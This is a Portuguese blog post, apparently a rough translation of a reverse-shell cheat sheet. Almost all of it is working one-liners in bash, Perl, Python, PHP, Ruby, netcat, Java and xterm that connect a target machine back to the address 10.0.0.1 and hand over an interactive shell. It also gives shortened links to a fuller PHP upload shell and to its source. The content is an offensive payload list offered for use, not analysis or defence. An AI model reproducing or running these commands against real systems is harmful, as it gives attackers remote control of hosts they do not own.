$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Aqui está, uma versão mais curta: http://adf.ly/1W857R
PYTHON
Este foi testado em Linux / Python 2.7:
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Se você quiser um arquivo .php para upload, ver o mais robusto e cheio de recursos: http://adf.ly/1W85oD
RUBY
$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
NETCAT
Netcat raramente está presente em sistemas de produção e até mesmo se é há vários versão de netcat, alguns dos quais não suportam a opção -e.
$ nc -e /bin/sh 10.0.0.1 1234
Se você tem a versão errada do netcat instalado, Jeff Price aponta aqui que você ainda pode ser capaz de obter o seu shell reverso para trás como este:
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
JAVA
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
XTREM
Uma das formas mais simples de shell reverso é uma sessão xterm. O seguinte comando deve ser executado no servidor. Ele irá tentar ligar de volta para você (10.0.0.1) na porta TCP 6001.
$ xterm -display 10.0.0.1:1
Para pegar o xterm de entrada, iniciar um X-Server (: 1 - que escuta na porta TCP 6001). Uma maneira de fazer isso é com Xnest (a ser executado no seu sistema):
$ Xnest :1
Você precisará autorizar o alvo para ligar para você (de comando também executado em seu host):
$ xhost +targetip
FONTE: http://adf.ly/1W86l6
Comentários
Postar um comentário